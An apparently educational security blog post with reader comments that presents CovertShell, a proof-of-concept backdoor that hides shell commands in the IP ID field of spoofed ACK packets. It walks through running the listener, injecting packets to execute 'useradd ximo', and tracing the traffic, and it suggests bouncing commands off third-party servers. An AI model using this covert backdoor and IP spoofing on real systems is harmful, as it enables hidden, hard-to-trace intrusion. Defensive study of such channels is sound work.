, 27 November 2012 | Imprime |  Disponible también en Español

(Please note this post was originally published in the Spanish version of Security Art Work last 26th Oct 2010)

Covert channels is an evasion technique that allows an attacker to send information using the communication protocols headers. In this post we will cover-up of channels in the TCP/IP protocols and provide a tool, CovertShell, designed as a proof of concept. The sources are at the end of this post.

The TCP/IP protocol has headers that usually are initialized by the client to maintain or number a communication. The technique covert channels uses these fields to assign them values ​​so the target machine does not interpret these fields as part of the communication, but to obtain data.

An interesting example was developed by Craig H. Rowland in his paper back in 1996: Covert Channels in the TCP/IP Protocol Suite, where he created a small client/server “CovertTCP” of no more than 500 lines that allowed file transfer between client and server, using for it only the fields SEQ, ACK (TCP protocol) and ID field (IP protocol). This information was on the protocol overhead and not in the payload.

Following this idea, we could go further and use this technique to send command orders. Something that could be used for both backdoors and botnets. Imagine that we have a compromised server that has installed a service that simply listens packets with some values ​​in its header. When it receives a package with some requirements, it processes the values ​​of such fields to convert headers into command orders, which are then executed.

Following this idea we have created a small tool as a proof of concept following CovertTCP source code, called CovertShell. We have a service that uses a RAW socket. When it receives a packet with ACK bit and without SYN bit, it gets the ID of the IP header, which corresponds to a letter in ASCII code. This letter is stored in a vector. When it receives 3 packets with ID 255, the server executes the command stored in the vector. Thus we have a server that does not open any ports but listens to the traffic and that is able to interpret the IP header to generate commands. Put it another way, we have a backdoor that uses covert channels to communicate. Confusing? Let’s see an example of operation:

Compile and run the service that wait for packets on port 8888 on the victim machine (server):

# gcc servidor.c -o servidor
# ./servidor -port 8888

In another shell we check that the process is running and that there is not any service listening in port 8888:

# ps aux | grep servidor | grep -v grep
root      2465  0.0  0.0   3908   312 pts/0    S+   09:53   0:00 ./servidor -port 8888
# netstat -putan | grep 8888
# lsof -Pi | grep 8888

Now we’ll use a small bash script (I want to thank Raúl Rodriguez) that requires the installation of Nemesis to easily manipulate packets. The script receives a command (in quotes), so that it will generate a packet for each letter of that command, where the value ID of the IP field will the ASCII value of the letter.

Within the script and have IP_DST and DPORT where you must specify the IP and port of your server victim. We also have IP_ORIGEN and SPORT which contains the source IP and port (can be any). For this POC we will tell Nemesis that the source IP address is a Google server and the source port is 80. Doing this, the victim server will receive packets with the ACK flag set apparently coming from a Google IP and port 80.

Thus, if we read the network trace we will see only ACK packets that are coming from google, maybe more than usual, when really what we are getting are backdoor commands.

For this demo we will create the user “ximo” on the victim machine:

Client:

# ./cliente.sh "useradd ximo"
TCP Packet Injected
TCP Packet Injected
TCP Packet Injected
TCP Packet Injected
TCP Packet Injected
TCP Packet Injected
TCP Packet Injected
TCP Packet Injected
TCP Packet Injected
TCP Packet Injected
TCP Packet Injected
TCP Packet Injected
TCP Packet Injected
TCP Packet Injected
TCP Packet Injected
# 

Server (Dato recibido translates as Data received ):

# ./servidor -port 8888
Dato recibido: 117
Dato recibido: 115
Dato recibido: 101
Dato recibido: 114
Dato recibido: 97
Dato recibido: 100
Dato recibido: 100
Dato recibido: 32
Dato recibido: 120
Dato recibido: 105
Dato recibido: 109
Dato recibido: 111
Comando: useradd ximo

Did it work?

# tail -1 /etc/passwd
ximo:x:1002:1002::/home/ximo:/bin/sh
# 

Now let’s look at the network trace from the server (IP 172.17.XX) when we sent the command “useradd ximo”. In this case remember that we used the Google IP, so the source IP used is “66.249.92.104″ obtained from a simple ping:

$ ping -c1 google.es
PING google.es (66.249.92.104) 56(84) bytes of data.

Network trace:

# tcpdump -nn -vvv -i eth0 port 8888
10:00:55.265912 IP (tos 0x0, ttl 254, id 117, offset 0, flags [none], proto TCP (6),
    length 40)
    66.249.92.104.80 > 172.17.X.X.8888: Flags [.], cksum 0x2912 (correct),
    seq 283280788, ack 1457724121, win 4096, length 0
10:00:55.265964 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40)
    172.17.X.X.8888 > 66.249.92.104.80: Flags [R], cksum 0xcf94 (correct), seq
    1457724121, win 0, length 0
10:00:55.270636 IP (tos 0x0, ttl 254, id 115, offset 0, flags [none], proto TCP (6),
    length 40)
    66.249.92.104.80 > 172.17.X.X.8888: Flags [.], cksum 0x2909 (correct), seq
    1069023501, ack 78166684, win 4096, length 0
10:00:55.270669 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40)
    172.17.X.X.8888 > 66.249.92.104.80: Flags [R], cksum 0x1051 (correct), seq
    1535890804, win 0, length 0
10:00:55.280132 IP (tos 0x0, ttl 254, id 101, offset 0, flags [none], proto TCP (6),
    length 40)
    66.249.92.104.80 > 172.17.X.X.8888: Flags [.], cksum 0x827f (correct), seq
    1249543965, ack 4145208809, win 4096, length 0
10:00:55.280157 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40)
    172.17.X.X.8888 > 66.249.92.104.80: Flags [R], cksum 0xfa99 (correct), seq
    1307965633, win 0, length 0
10:00:55.284502 IP (tos 0x0, ttl 254, id 114, offset 0, flags [none], proto TCP (6),
    length 40)
    66.249.92.104.80 > 172.17.X.X.8888: Flags [.], cksum 0x5a89 (correct), seq
    4108084880, ack 626806209, win 4096, length 0

The server has received a number of TCP packets with ACK flag ([.]) from the Google IP (66.249.92.104), with source port 80 without payload, to which we answered with a RST packet. If you look at the sent packets you will see the “ID number” field which identifies the value of the IP protocol ID field, which has values ​​like 117, 115, 101, 104, … that match the ASCII values ​​of u, s, e, r, …

As you can guess, the ability to track this command is really hard because the victim does not receive the IP of the attacker as it spoofs the source IP.

But let’s go further: what if instead of using the IP protocol header ID, we use the sequence value (SEQ) of the TCP packet, so we sent a TCP packet with SYN flag set (start connection) to a public server whose source IP and port are the victim’s? The public server will reply the victim with a SYN ACK packet to the port indicated as source port, having as ACK value the session value sent by the attacker plus 1. Therefore it could used legitimate public servers so they send in the TCP header the command to be executed, being even more difficult to track who executed the command.

See a image that explains this idea:

(Please note: “Paquete” translates as “Packet“, “Origen” as “Source“, “Victima” as “Victim“, “Destino” as “Destination“, “Servidor” as “Server“, “Comando” as “Command” and “Atacante” as “Attacker“).

TCP

The latter, as well as subsequent tests, remain as an exercise for the reader. The developments made for proof of concept, that we have called CovertShell, are publicly available. We hope you find it helpful, without forgetting of course that they are only for educational and research purposes.

(You can follow us in Twitter: @SecurityArtWork)
No me gusta esta entradaMe gusta esta entrada (+1 rating, 1 votes)
Loading ... Loading ...




13 comentarios a “Covert channels”

(Please note that Spanish and English comments are merged so you may need to use an online translator to understand other users' comments)

Muy buen artículo Ximo, y gracias por la herramienta!!

DavidLladro [web], 27 de October de 2010, 9:14 am

Una gran entrada!

Un saludo.

JoseMiHolguin [web], 27 de October de 2010, 9:54 am

Madre mia…
Muy buen articulo…

Dani [web], 27 de October de 2010, 10:31 am

Gran entrada!!!! hum esto puede tener muchas aplicaciones….

ramado [web], 27 de October de 2010, 10:33 am

Buen post Ximo!… enhorabuena.

rrodriguez [web], 27 de October de 2010, 11:14 am

Gran post Ximo!

maite [web], 27 de October de 2010, 1:38 pm

Buena entrada, Ximo.

En el punto que hablas de utilizar señuelos y servidores de terceros para que realicen esa comunicación, poco se puede hacer. Lo mismo ocurre cuando se realizan ataques DDoS.

Respecto a la dificultad de descubrir este tipo de tráfico, creo que hay dos opciones y ninguna buena: esperar que el software sea reconocido y detectado por firma analizando las cabeceras TCP en un IDS, o buscando anomalías en la comunicación TCP pero esto puede provocar una gran cantidad de falsos positivos.

Me explico. El paquete con el flag ACK sólo debe recibirse después de establecer la comunicación, de hecho es el último paso, pero debe de ser muy difícil de descubrir aunque se detecte ese tráfico. Así, podría saltar alertas cuando se recibe un paquete ACK sin que se haya recibido previamente SYN y SYN-ACK, pero al utilizar el campo SEQ no se sabe a qué conversación corresponde, así que se podría aprovechar esto para detectarlo más fácilmente.

Es una idea que propongo para intentar “detectar” este tipo de ataques. ¿Creéis que podría ser útil para detectar este tipo de ataques?

Un saludo.

nbelda [web], 27 de October de 2010, 4:43 pm

Muy chula la entrada

vierito5 [web], 27 de October de 2010, 4:53 pm

Chapeau Ximo.

FSeco [web], 27 de October de 2010, 7:31 pm

nbelda, cualquier firewall serio hoy en día comprueba las secuencias TCP y sería tan trivial parar esto como simplemente no hacer nada. De todas maneras a mi personalmente me ha encantado este artículo, gracias!

pj [web], 27 de October de 2010, 11:25 pm

[...] Covert Channels El encubrimiento de canales o Covert Channels es una técnica de evasión que permite a un atacante enviar información empleando para ello las cabeceras de los protocolos de comunicación. En esta entrada trataremos el encubrimiento de canales en el protocolo TCP/IP, y proporcionaremos una herramienta, CovertShell, diseñada para la prueba de concepto. Pueden localizar los fuentes al final de la entrada. [...]

de la red – 27/10/2010 « Tecnologías y su contexto [web], 28 de October de 2010, 2:32 am

Gracias por la aportación Ximo, una entrada muy interesante.

Samuel Segarra [web], 28 de October de 2010, 10:10 am

LOKI2
—–

LOKI2 is an information-tunneling program

http://www.phrack.org/issues.html?issue=51&id=6

JoseMi [web], 1 de June de 2011, 1:39 pm

Leave a comment

(Los datos que nos proporciones serán incorporados al fichero LECTORES DEL BLOG cuyo responsable es S2 Grupo, cuya única finalidad es la gestión de las acciones e interacciones que se desarrollen con los usuarios de los blogs de S2 Grupo, entre los que se encuentra Security Art Work. Los datos recogidos no serán en ningún caso cedidos a terceras partes ni tratados para una finalidad distinta a la indicada. Puedes ejercer tus derechos de Acceso, Rectificación, Cancelación y Oposición enviando un correo a admin@securityartwork.es, en el que deberás proporcionarnos la información necesaria para verificar tu identidad. Para cualquier otra consulta o duda relativa a cómo gestionamos tus datos personales, puedes utilizar el mismo correo electrónico.)